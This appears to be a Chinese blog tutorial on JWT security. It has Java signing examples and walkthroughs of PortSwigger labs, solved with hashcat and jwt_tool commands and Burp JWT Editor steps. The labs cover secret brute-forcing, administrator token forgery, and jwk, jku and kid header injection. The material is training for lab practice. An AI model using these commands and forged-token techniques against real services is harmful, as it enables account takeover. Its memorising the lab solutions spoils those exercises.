既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
System.out.println(result);
}
public static String createJWT(String id) {
// 设置JWT过期时间为1小时
long nowMillis \= System.currentTimeMillis();
Date now \= new Date(nowMillis);
long expMillis \= nowMillis + 3600000; // 1小时
Date exp \= new Date(expMillis);
// 生成JWT
String token \= Jwts.builder()
.setId(id)
.setIssuer("issuer")
.setSubject("subject")
.setIssuedAt(now)
.setExpiration(exp)
.signWith(SignatureAlgorithm.HS256, SECRET\_KEY)
.compact();
return token;
}
public static String parseJWT(String token) {
// 验证JWT是否合法
String result \= "";
try {
result \= Jwts.parser()
.setSigningKey(SECRET\_KEY)
.parseClaimsJws(token)
.getBody()
.getId();
} catch (Exception e) {
e.printStackTrace();
}
return result;
}
}
下面是一个使用JWT和非对称密钥的Java示例代码,代码中使用了RSA算法生成非对称密钥对:
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.security.Keys;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.util.Date;
public class JWTExample {
private static final String ISSUER = “example.com”;
private static final String SUBJECT = “user@example.com”;
public static void main(String\[\] args) throws Exception {
KeyPair keyPair \= generateKeyPair();
String token \= createJWT(ISSUER, SUBJECT, keyPair.getPrivate());
System.out.println(token);
Claims claims \= parseJWT(token, keyPair.getPublic());
System.out.println(claims.getIssuer());
System.out.println(claims.getSubject());
}
public static String createJWT(String issuer, String subject, PrivateKey privateKey) {
Date now \= new Date();
Date expiration \= new Date(now.getTime() + 3600 \* 1000); // 1 hour
return Jwts.builder()
.setIssuer(issuer)
.setSubject(subject)
.setIssuedAt(now)
.setExpiration(expiration)
.signWith(privateKey, SignatureAlgorithm.RS256)
.compact();
}
public static Claims parseJWT(String token, PublicKey publicKey) {
return Jwts.parserBuilder()
.setSigningKey(publicKey)
.build()
.parseClaimsJws(token)
.getBody();
}
public static KeyPair generateKeyPair() throws NoSuchAlgorithmException {
KeyPairGenerator generator \= KeyPairGenerator.getInstance("RSA");
generator.initialize(2048);
return generator.generateKeyPair();
}
}
在这个示例中我们使用了Java中的KeyPairGenerator类来生成一个2048位的RSA密钥对,然后使用私钥生成JWT,使用公钥验证JWT,在创建JWT时我们设置了JWT的颁发者、主题、签发时间和过期时间并使用signWith()方法和SignatureAlgorithm.RS256算法使用私钥进行签名,在验证JWT时我们使用公钥来解析JWT并获取声明的内容,在实际的研发编码中我们一方面要妥善保管密钥,另一方面需要使用较为复杂难以被猜解的密钥作为密钥首选,例如:随机字母+数字的32位长度组合
###### 漏洞案例
在实现JWT应用程序时,开发人员有时会犯一些错误,比如:忘记更改默认密码或占位符密码,他们甚至可能复制并粘贴他们在网上找到的代码片段然后忘记更改作为示例提供的硬编码秘密,在这种情况下攻击者使用众所周知的秘密的单词列表来暴力破解服务器的秘密是很容易的,下面是一个公开已知密钥列表:
https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list
![](https://img-blog.csdnimg.cn/img_convert/31f51f61748c618403bdcbd59ce938de.png)
在这里我们也建议使用hashcat来强力破解密钥,您可以手动安装hashcat,也可以在Kali Linux上使用预先安装好的hashcat,您只需要一个来自目标服务器的有效的、签名的JWT和一个众所周知的秘密的单词表然后就可以运行以下命令,将JWT和单词列表作为参数传入:
hashcat -a 0 -m 16500 <jwt> <wordlist>
Hashcat会使用单词列表中的每个密钥对来自JWT的报头和有效载荷进行签名,然后将结果签名与来自服务器的原始签名进行比较,如果有任何签名匹配,hashcat将按照以下格式输出识别出的秘密以及其他各种详细信息,由于hashcat在本地机器上运行不依赖于向服务器发送请求,所以这个过程非常快,即使使用一个巨大的单词表一旦您确定了密钥,您就可以使用它为任何JWT报头和有效载荷生成有效的签名
<jwt>:<identified-secret>
靶场地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-weak-signing-key
![](https://img-blog.csdnimg.cn/img_convert/47dd61f6ffc218b107059820fe2eadc9.png)
实验步骤:
Step 1:点击上述"Access the lab"进入到靶场环境
![](https://img-blog.csdnimg.cn/img_convert/4675cfe9aebed8bec6adb4374f6baa40.png)
Step 2:使用以下账户进行登录操作
wiener:peter
![](https://img-blog.csdnimg.cn/img_convert/9fbd73d6a69fc2f6f6c5f7a4c04f376f.png)
Step 3:捕获到如下有效的JWT凭据信息
eyJraWQiOiI4M2RhOGNjMi1hZmZiLTRmZGMtYWMwYS1iMWNmMTBkNjkyZGYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5NjQwMn0.IhZV-7RHTpEcQvkcZOA3knCYmQD0YUg-NFMj9fWSFjw
![](https://img-blog.csdnimg.cn/img_convert/4d1b102c639fa583c7ec5d610369d6a3.png)
![](https://img-blog.csdnimg.cn/img_convert/afca76710da0c5352ba5ca090f0da008.png)
Step 5:使用字典进行暴力猜解操作
方式一:HashCat
项目地址:https://github.com/hashcat/hashcat
项目使用:
#命令格式:
hashcat -a 0 -m 16500 <jwt> <wordlist>
#执行示例:
hashcat -m 16500 jwt.txt -a 0 secrets.txt --force
![](https://img-blog.csdnimg.cn/img_convert/c25806e4e9d78202629ca85724a9eff4.png)
方式二:jwt\_tool
项目地址:https://github.com/ticarpi/jwt\_tool
项目介绍:此项目主要用于JWT安全脆弱性评估,目前支持如下几种安全评估测试
* (CVE-2015-2951) The alg=none signature-bypass vulnerability
* (CVE-2016-10555) The RS/HS256 public key mismatch vulnerability
* (CVE-2018-0114) Key injection vulnerability
* (CVE-2019-20933/CVE-2020-28637) Blank password vulnerability
* (CVE-2020-28042) Null signature vulnerability
![](https://img-blog.csdnimg.cn/img_convert/22cc1f68ef8027c65e788df098d869ab.png)
Step 1:克隆项目到本地
https://github.com/ticarpi/jwt_tool
![](https://img-blog.csdnimg.cn/img_convert/9090a3204e59e3a1b721be259583a067.png)
Step 2:安装依赖库
pip3 install pycryptodomex
Step 3:运行jwt\_tool并查看用法信息
python3 jwt_tool.py -h
![](https://img-blog.csdnimg.cn/img_convert/a760df314c9f20a32a3571dd54f17b95.png)
usage: jwt_tool.py [-h] [-b] [-t TARGETURL] [-rc COOKIES] [-rh HEADERS] [-pd POSTDATA] [-cv CANARYVALUE] [-np] [-nr] [-M MODE] [-X EXPLOIT] [-ju JWKSURL] [-S SIGN] [-pr PRIVKEY] [-T] [-I] [-hc HEADERCLAIM] [-pc PAYLOADCLAIM] [-hv HEADERVALUE]
[-pv PAYLOADVALUE] [-C] [-d DICT] [-p PASSWORD] [-kf KEYFILE] [-V] [-pk PUBKEY] [-jw JWKSFILE] [-Q QUERY] [-v]
[jwt]
positional arguments:
jwt the JWT to tinker with (no need to specify if in header/cookies)
options:
-h, --help show this help message and exit
-b, --bare return TOKENS ONLY
-t TARGETURL, --targeturl TARGETURL
URL to send HTTP request to with new JWT
-rc COOKIES, --cookies COOKIES
request cookies to send with the forged HTTP request
-rh HEADERS, --headers HEADERS
request headers to send with the forged HTTP request (can be used multiple times for additional headers)
-pd POSTDATA, --postdata POSTDATA
text string that contains all the data to be sent in a POST request
-cv CANARYVALUE, --canaryvalue CANARYVALUE
text string that appears in response for valid token (e.g. “Welcome, ticarpi”)
-np, --noproxy disable proxy for current request (change in jwtconf.ini if permanent)
-nr, --noredir disable redirects for current request (change in jwtconf.ini if permanent)
-M MODE, --mode MODE Scanning mode:
pb = playbook audit
er = fuzz existing claims to force errors
cc = fuzz common claims
at - All Tests!
-X EXPLOIT, --exploit EXPLOIT
eXploit known vulnerabilities:
a = alg:none
n = null signature
b = blank password accepted in signature
s = spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack)
k = key confusion (specify public key with -pk)
i = inject inline JWKS
-ju JWKSURL, --jwksurl JWKSURL
URL location where you can host a spoofed JWKS
-S SIGN, --sign SIGN sign the resulting token:
hs256/hs384/hs512 = HMAC-SHA signing (specify a secret with -k/-p)
rs256/rs384/hs512 = RSA signing (specify an RSA private key with -pr)
es256/es384/es512 = Elliptic Curve signing (specify an EC private key with -pr)
ps256/ps384/ps512 = PSS-RSA signing (specify an RSA private key with -pr)
-pr PRIVKEY, --privkey PRIVKEY
Private Key for Asymmetric crypto
-T, --tamper tamper with the JWT contents
(set signing options with -S or use exploits with -X)
-I, --injectclaims inject new claims and update existing claims with new values
(set signing options with -S or use exploits with -X)
(set target claim with -hc/-pc and injection values/lists with -hv/-pv
-hc HEADERCLAIM, --headerclaim HEADERCLAIM
Header claim to tamper with
-pc PAYLOADCLAIM, --payloadclaim PAYLOADCLAIM
Payload claim to tamper with
-hv HEADERVALUE, --headervalue HEADERVALUE
Value (or file containing values) to inject into tampered header claim
-pv PAYLOADVALUE, --payloadvalue PAYLOADVALUE
Value (or file containing values) to inject into tampered payload claim
-C, --crack crack key for an HMAC-SHA token
(specify -d/-p/-kf)
-d DICT, --dict DICT dictionary file for cracking
-p PASSWORD, --password PASSWORD
password for cracking
-kf KEYFILE, --keyfile KEYFILE
keyfile for cracking (when signed with ‘kid’ attacks)
-V, --verify verify the RSA signature against a Public Key
(specify -pk/-jw)
-pk PUBKEY, --pubkey PUBKEY
Public Key for Asymmetric crypto
-jw JWKSFILE, --jwksfile JWKSFILE
JSON Web Key Store for Asymmetric crypto
-Q QUERY, --query QUERY
Query a token ID against the logfile to see the details of that request
e.g. -Q jwttool_46820e62fe25c10a3f5498e426a9f03a
-v, --verbose When parsing and printing, produce (slightly more) verbose output.
If you don’t have a token, try this one:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po
Step 4:暴力猜解密钥
#命令格式
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
#执行示例
python3 jwt_tool.py eyJraWQiOiI4M2RhOGNjMi1hZmZiLTRmZGMtYWMwYS1iMWNmMTBkNjkyZGYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5NjQwMn0.IhZV-7RHTpEcQvkcZOA3knCYmQD0YUg-NFMj9fWSFjw -C -d secrets.txt
![](https://img-blog.csdnimg.cn/img_convert/ba1d5ae563f29c280eed202b16585cb1.png)
附加扩展:
#尝试破解密钥(HMAC算法)
python3 jwt_tool.py JWT_HERE -C -d dictionary.txt
#尝试使用已知的公钥对不对称密码(RS-,EC-,PS-)进行"密钥混淆"攻击
python3 jwt_tool.py JWT_HERE -K -pk my_public.pem
#尝试使用"无"算法来创建未验证的令牌
python3 jwt_tool.py JWT_HERE -A
#处理JSON Web密钥存储文件,重建公共密钥,然后测试密钥以查看验证令牌的密钥
python3 jwt_tool.py JWT_HERE -J -jw jwks.json
#生成一个新的RSA密钥对,将公钥作为JSON Web密钥存储对象注入令牌并使用私钥对令牌签名
python3 jwt_tool.py JWT_HERE -I
#欺骗远程JWKS:生成新的RSA密钥对,将提供的URL注入令牌,将公共密钥导出为JSON Web密钥存储对象(以提供的URL进行服务)并使用私钥对令牌签名
python3 jwt_tool.py JWT_HERE -S -u http://example.com/jwks.json
Step 5:随后在网页端重新设置密钥(secret1)并重新产生的字符串
Header:
eyJraWQiOiJjY2Y4Yjk3YS05NGZlLTRjN2QtOWI2MS0yNzZmMDY1NGMyZWIiLCJhbGciOiJIUzI1NiJ9
{“kid”:“ccf8b97a-94fe-4c7d-9b61-276f0654c2eb”,“alg”:“HS256”}
![](https://img-blog.csdnimg.cn/img_convert/425fc6b69380d5af398a4114d06badf8.png)
payload(前):
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5OTk1OX0
{“iss”:“portswigger”,“sub”:“wiener”,“exp”:1687799959}
![](https://img-blog.csdnimg.cn/img_convert/e0ea4f9f071a56c09c0cddb990a799c5.png)
payload(新):
{“iss”:“portswigger”,“sub”:“administrator”,“exp”:1687799959}
eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTk5NTl9
![](https://img-blog.csdnimg.cn/img_convert/1f4c20c4d189c08b4f8c9ac4786f2062.png)
Signer:
E891AutpjiwkhVUDV2dZdrfGzsv5TweyIUUhT_a1Ar0
![](https://img-blog.csdnimg.cn/img_convert/7a80567bc6f26e38f13006b6cc63054f.png)
最终高权限的JWT token如下:
eyJraWQiOiJjY2Y4Yjk3YS05NGZlLTRjN2QtOWI2MS0yNzZmMDY1NGMyZWIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTk5NTl9.E891AutpjiwkhVUDV2dZdrfGzsv5TweyIUUhT_a1Ar0
![](https://img-blog.csdnimg.cn/img_convert/2af8ad3ffb1d1663bcb3dff804d07a0e.png)
Step 6:访问/admin路径
![](https://img-blog.csdnimg.cn/img_convert/af390b9fcecf77b3ed730b526ae3bc30.png)
Step 7:调用接口删除用户完成解答
![](https://img-blog.csdnimg.cn/img_convert/4ff37f322dbcd8fec28ae9335d77e3fd.png)
![](https://img-blog.csdnimg.cn/img_convert/d1848d7df651fe0b674896495a17b8f0.png)
###### JWT头部注入
###### 场景介绍
如果服务器端使用一个非常脆弱的密钥,我们甚至有可能一个字符一个字符地来暴力破解这个密钥,根据JWS规范只有alg报头参数是强制的,然而在实践中JWT报头通常包含几个其他参数,以下是攻击者特别感兴趣的:
* jwk(JSON Web Key):提供一个代表密钥的嵌入式JSON对象
* jku(JSON Web Key Set URL):提供一个URL,服务器可以从这个URL获取一组包含正确密钥的密钥
* kid(密钥id):提供一个ID,在有多个密钥可供选择的情况下服务器可以用它来识别正确的密钥,根据键的格式这可能有一个匹配的kid参数
这些用户可控制的参数每个都告诉接收方服务器在验证签名时应该使用哪个密钥,下面我们将介绍如何利用这些参数来注入使用您自己的任意密钥而不是服务器的密钥签名修改过的JWT
###### 注入场景1
下面我们介绍如何通过JWK参数注入自签名的JWT,JWS(JSON Web Signature)规范描述了一个可选的jwk header参数,服务器可以使用该参数以jwk格式将其公钥直接嵌入令牌本身,您可以在下面的JWT head中看到具体的示例:
{
“kid”: “ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG”,
“typ”: “JWT”,
“alg”: “RS256”,
“jwk”: {
“kty”: “RSA”,
“e”: “AQAB”,
“kid”: “ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG”,
“n”: “yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m”
}
}
理想情况下服务器应该只使用有限的公钥白名单来验证JWT签名,然而错误配置的服务器有时会使用jwk参数中嵌入的键值,您可以通过使用自己的RSA私钥对修改后的JWT进行签名,然后在jwk头中嵌入匹配的公钥来利用这种行为,Burpsuite的JWT Editor扩展提供了一个有用的功能来帮助您测试此漏洞,您可以在Burp中手动添加或修改JWT参数
靶场地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection
![](https://img-blog.csdnimg.cn/img_convert/aa582b7a747ee31935545c70ba3ec220.png)
Step 1:点击"ACCESS THE LAB"访问靶场
![](https://img-blog.csdnimg.cn/img_convert/4fcefa9e453145165c5c8037afbe1492.png)
Step 3:点击"My Account"登录系统
wiener:peter
![](https://img-blog.csdnimg.cn/img_convert/1b426c1a8f01de5ff75e231235cfa8d2.png)
Step 4:登录之后可以看到如下邮箱更新界面
![](https://img-blog.csdnimg.cn/img_convert/d3525d7af766c04917c0d899ffb00634.png)
Step 5:下面我们开始操作,不过在此之前我们得先武器化以下自己,在Burpsuite界面选择"Extender"选项卡,紧接着点击"BApp Store"安装"JWT Editor"
![](https://img-blog.csdnimg.cn/img_convert/1c3900be783330e7a45a204192818552.png)
之后你可以看到如下的选项卡界面
![](https://img-blog.csdnimg.cn/img_convert/b6d824b78df562a30788f0ee03f019fb.png)
Step 6:生成一个新的RSA密钥
{
“p”: “8J0fgpxQpZOvPGb2rRsJB6Bh0lgvxRtp_Ilc7NmpI3UgEUiArSey091pT3X6lIPRZLdMf_eeYo_PWh5aq79Ps_xoZHtAz4VrR9sR8tCkND-z0KKBmopkUrowJie368xoWDU53P-4qxEfCfqPPxoZZRzhE7cse0PUVayNAJC01FU”,
“kty”: “RSA”,
“q”: “1zMkdJNLYEdZYvZ31B15CmCfI9dOGEpn6lyXOEBPsqrP554x_8dXZnXSHbybiYyeLgl6i_JubJBqjeSAejwHh9v-e3-R9-7Dgg4lB_OUNqsg7yM3mcpZn7IHeGVKj9BjhigWsbUXFuwM1iEDK4TDmTV4-tO9UMsIBQA1SFlUTA8”,
“d”: “Ayw2AASn_yn6EwjqCts6_gP6NZ9BlNhCG1iuDTX9h_AGWYBtUepdgp4CaM098ZyjH2Da3RvonFVlTOwHTgVAdkb2eWqeMejMjUji3cKIQRU_r0UeY3C4q8BBuWjwzF7ZTeVDgbx05NfeUW0LwWE3mFBuPDy6tmvYdekcs8Ft7GDmU_ToPZaGnMoEKzVlMyDb82LgkB7qWw2H4UoXHWR0l_RS90gTjkJzMc4Fmu4CoPfmqw8jLnGgq8GhAzpecc-VLvqel3tSY0fKqF5Y3U2SooL27vJJxX0kLgHVbcTNvCcS8XZArdhWTekV923jtspoNDYn5HfhAlLglCcwQcOSYQ”,
“e”: “AQAB”,
“kid”: “fa018615-0392-4d15-89bb-a2c637d9adbd”,
“qi”: “XO3HEFj8PCxFz4DIw0djHjTrW4Krm-Oim-U4bmuEdmPDKKTIYYvkPVoSRR-4kCHkCx2aDsraUbNkTyEYC4dRUbnWl6xr2HxaLZIsxOglYsa939l_m6NXSzttAGrPpWqoURT7t6ihSmBnGDJDsMS3c1gWJKZsAYkeXy5lI2IhGks”,
“dp”: “0gfldIZsY0w5_9jE5LAfvreCDDGMaVsXtihVpC4PVXMs7clDAWMQ152DCqiqdi9mfar_LQkCCXkM_9ZVQWw675qZqXRpS3xj_BI_ZZw4aZ9dn_XqefLpxcjetL-g7US9pJm5i67xDOpiFLzRg7yNhFSkKCiRvHumAq8fWen23w0”,
“dq”: “QcZI6zSmAjxsjrnkcDm96DUWDv9cyEHdtx0rvy6w7VwWBaYthA8qoI98dEhUhdsr8chF44Zqx9XwK4Re3H2Ck7zi8F5SgCRDL3ohSWfisj7l5xGtidz2PcBNVjgnbQN1l-ii3xgJgaEOX1hhvqhqnGZins-e-pXD0rt4ja93-3M”,
“n”: “ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w”
}
![](https://img-blog.csdnimg.cn/img_convert/24dbe0362eb3ecc38259f2418e97736c.png)
Step 7:刷新页面拦截到请求并将请求发送到Repeat模块
![](https://img-blog.csdnimg.cn/img_convert/488ffe00cdae6e5367623f943c33fc8a.png)
Step 8:在Repeat模块,我们切换到JSON Web Token选项卡,修改JWT的有效负载将sub内容修改为administrator
![](https://img-blog.csdnimg.cn/img_convert/07f7c36092a1037ad31bdb56ffd510b0.png)
![](https://img-blog.csdnimg.cn/img_convert/e3fae8a2422371a2e5589b001e93edcc.png)
Step 9:点击"Attack",然后选择"Embedded JWK",出现提示时选择您新生成的RSA密钥
![](https://img-blog.csdnimg.cn/img_convert/0659368a9cf8bdc7f6f35976156b3166.png)
![](https://img-blog.csdnimg.cn/img_convert/21fa301161d06b288f2fbaf520e2ad9c.png)
Step 10:之后成功越权
![](https://img-blog.csdnimg.cn/img_convert/031d3c323ba9dbd8f3438ed5a35fe0e2.png)
Step 11:调用敏感操作接口删除carlos用户完成解题
![](https://img-blog.csdnimg.cn/img_convert/bd1db42140eb7c7128646f4c2c29927f.png)
![](https://img-blog.csdnimg.cn/img_convert/36b4b5449c6dce31c4f559728aaa8b71.png)
###### 注入场景2
有些服务器可以使用jku(jwk Set URL)头参数来引用包含密钥的JWK集,而不是直接使用JWK头参数来嵌入公钥,当验证签名时,服务器从这个URL获取相关的密钥,这里的JWK集其实是一个JSON对象,包含一个代表不同键的JWK数组,下面是一个简单的例子:
{
“keys”: [
{
“kty”: “RSA”,
“e”: “AQAB”,
“kid”: “75d0ef47-af89-47a9-9061-7c02a610d5ab”,
“n”: “o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ”
},
{
“kty”: “RSA”,
“e”: “AQAB”,
“kid”: “d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA”,
“n”: “fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw”
}
]
}
JWK集合有时会通过一个标准端点公开,比如:/.well-known/jwks.json,更安全的网站只会从受信任的域获取密钥,但有时您可以利用URL解析差异来绕过这种过滤,下面我们通过一个靶场来实践以下
靶场地址:https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jku-header-injection
![](https://img-blog.csdnimg.cn/img_convert/a42d5ced0dd263532c47a4c6be2778ee.png)
Step 1:首先点击上方的"ACCESS THE LAB"选项卡进入实验环境
![](https://img-blog.csdnimg.cn/img_convert/5d4702d139480e406e600e9ea31e9fba.png)
Step 2:登录系统
wiener:peter
![](https://img-blog.csdnimg.cn/img_convert/4372d0651b27e26bb5f0a148b1dd0499.png)
Step 3:随后你会看到一个用户邮箱更新的表单
![](https://img-blog.csdnimg.cn/img_convert/166890f76f24687c9318cb319252d125.png)
Step 4:使用burpsuite生成一个新的RSA密钥
{
“p”: “8J0fgpxQpZOvPGb2rRsJB6Bh0lgvxRtp_Ilc7NmpI3UgEUiArSey091pT3X6lIPRZLdMf_eeYo_PWh5aq79Ps_xoZHtAz4VrR9sR8tCkND-z0KKBmopkUrowJie368xoWDU53P-4qxEfCfqPPxoZZRzhE7cse0PUVayNAJC01FU”,
“kty”: “RSA”,
“q”: “1zMkdJNLYEdZYvZ31B15CmCfI9dOGEpn6lyXOEBPsqrP554x_8dXZnXSHbybiYyeLgl6i_JubJBqjeSAejwHh9v-e3-R9-7Dgg4lB_OUNqsg7yM3mcpZn7IHeGVKj9BjhigWsbUXFuwM1iEDK4TDmTV4-tO9UMsIBQA1SFlUTA8”,
“d”: “Ayw2AASn_yn6EwjqCts6_gP6NZ9BlNhCG1iuDTX9h_AGWYBtUepdgp4CaM098ZyjH2Da3RvonFVlTOwHTgVAdkb2eWqeMejMjUji3cKIQRU_r0UeY3C4q8BBuWjwzF7ZTeVDgbx05NfeUW0LwWE3mFBuPDy6tmvYdekcs8Ft7GDmU_ToPZaGnMoEKzVlMyDb82LgkB7qWw2H4UoXHWR0l_RS90gTjkJzMc4Fmu4CoPfmqw8jLnGgq8GhAzpecc-VLvqel3tSY0fKqF5Y3U2SooL27vJJxX0kLgHVbcTNvCcS8XZArdhWTekV923jtspoNDYn5HfhAlLglCcwQcOSYQ”,
“e”: “AQAB”,
“kid”: “fa018615-0392-4d15-89bb-a2c637d9adbd”,
“qi”: “XO3HEFj8PCxFz4DIw0djHjTrW4Krm-Oim-U4bmuEdmPDKKTIYYvkPVoSRR-4kCHkCx2aDsraUbNkTyEYC4dRUbnWl6xr2HxaLZIsxOglYsa939l_m6NXSzttAGrPpWqoURT7t6ihSmBnGDJDsMS3c1gWJKZsAYkeXy5lI2IhGks”,
“dp”: “0gfldIZsY0w5_9jE5LAfvreCDDGMaVsXtihVpC4PVXMs7clDAWMQ152DCqiqdi9mfar_LQkCCXkM_9ZVQWw675qZqXRpS3xj_BI_ZZw4aZ9dn_XqefLpxcjetL-g7US9pJm5i67xDOpiFLzRg7yNhFSkKCiRvHumAq8fWen23w0”,
“dq”: “QcZI6zSmAjxsjrnkcDm96DUWDv9cyEHdtx0rvy6w7VwWBaYthA8qoI98dEhUhdsr8chF44Zqx9XwK4Re3H2Ck7zi8F5SgCRDL3ohSWfisj7l5xGtidz2PcBNVjgnbQN1l-ii3xgJgaEOX1hhvqhqnGZins-e-pXD0rt4ja93-3M”,
“n”: “ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w”
}
![](https://img-blog.csdnimg.cn/img_convert/078ece09063d15dcd4eff5ed085bcfc8.png)
Step 5:发送请求到repeat
![](https://img-blog.csdnimg.cn/img_convert/e13c032a1b34abb2da646d8a95a69834.png)
Step 6:复制公钥作为JWK
{
“kty”: “RSA”,
“e”: “AQAB”,
“kid”: “fa018615-0392-4d15-89bb-a2c637d9adbd”,
“n”: “ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w”
}
![](https://img-blog.csdnimg.cn/img_convert/20f7338972a55d1e1dd811126e767066.png)
Step 7:在题目中选择"Go eo exploit server",然后加上key头并保存到exploit的body中
{
“keys”: [
{
“kty”: “RSA”,
“e”: “AQAB”,
“kid”: “fa018615-0392-4d15-89bb-a2c637d9adbd”,
“n”: “ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w”
}
]
}
![](https://img-blog.csdnimg.cn/img_convert/9cbdeeb627b7bfb06854d3e496e7657f.png)
![](https://img-blog.csdnimg.cn/img_convert/05508990416cd49e3f61ea1de5d3f8db.png)
Step 8:然后切换至repeat的"JSON Web Token"界面,将kid修改成自己生成的JWK中的kid值,将jku的值改为exploit
![](https://img-blog.csdnimg.cn/img_convert/1deee5af347df5657fa8fa7275a7b4e9.png)
![](https://img-blog.csdnimg.cn/img_convert/2e92a1fdb4ee1112ce19a42c12f765eb.png)
Step 9:切换sub为administrator
![](https://img-blog.csdnimg.cn/img_convert/97d6dac5c964e1609b3ffa318512b52e.png)
Step 10:点击下面的sign,选择Don’t modify header模式
![](https://img-blog.csdnimg.cn/img_convert/dee4e11dec5f5932340b26daaa0807ad.png)
Step 11:更改请求路径发送请求成功越权
![](https://img-blog.csdnimg.cn/img_convert/6ef14dcfc8da8be7a9ead0a7ba7e713f.png)
Step 12:请求敏感路径删除carlos用户
![](https://img-blog.csdnimg.cn/img_convert/3730d246f295506224cc5655a4c35877.png)
Step 13:成功解题
![](https://img-blog.csdnimg.cn/img_convert/11c214123a5a51f50d00f3c0f4153eb7.png)
###### # 注入场景3
服务器可能使用几个密钥来签署不同种类的数据,因此JWT的报头可能包含kid(密钥id)参数,这有助于服务器在验证签名时确定使用哪个密钥,验证密钥通常存储为一个JWK集,在这种情况下服务器可以简单地查找与令牌具有相同kid的JWK,然而JWS规范没有为这个ID定义具体的结构——它只是开发人员选择的任意字符串,例如:它们可能使用kid参数指向数据库中的特定条目,甚至是文件的名称,如果这个参数也容易受到目录遍历的攻击,攻击者可能会迫使服务器使用其文件系统中的任意文件作为验证密钥,例如:
{
“kid”: “…/…/path/to/file”,
“typ”: “JWT”,
“alg”: “HS256”,
“k”: “asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc”
}
